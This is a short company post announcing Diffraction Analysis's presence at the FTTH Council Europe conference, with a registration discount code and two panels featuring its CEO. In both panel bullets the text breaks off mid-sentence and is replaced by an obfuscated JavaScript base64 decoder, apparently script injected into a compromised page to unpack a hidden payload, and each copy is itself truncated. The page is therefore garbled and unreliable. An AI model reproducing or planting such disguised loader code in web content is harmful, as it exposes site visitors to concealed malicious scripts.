The FTTH Council Europe Annual conference is something of a pilgrimage for Diffraction Analysis, and this year won't be any different. Diffraction Analysis is an analyst partner of the conference, which means that we will have a booth there, but also that we can get you inside at a discount. Just use the code FTTH37PL when registering to get in at a preferential rate.
Our CEO Benoît Felten will be present and speaking on two different occasions:
- On February 11th, he will participate in a panel entitled The Separation Debate: Creating New Infrastructure Monopolies? where he will present the key results of our function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
- On February 12th, he will participate in a panel entitled Who Says Consumers Don’t Need Fibre Speed? where he will present exclusive results from our quantitative surveys of France and Portugal in the continuation of our function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
If you're interested in meeting with Benoît, please drop us a line!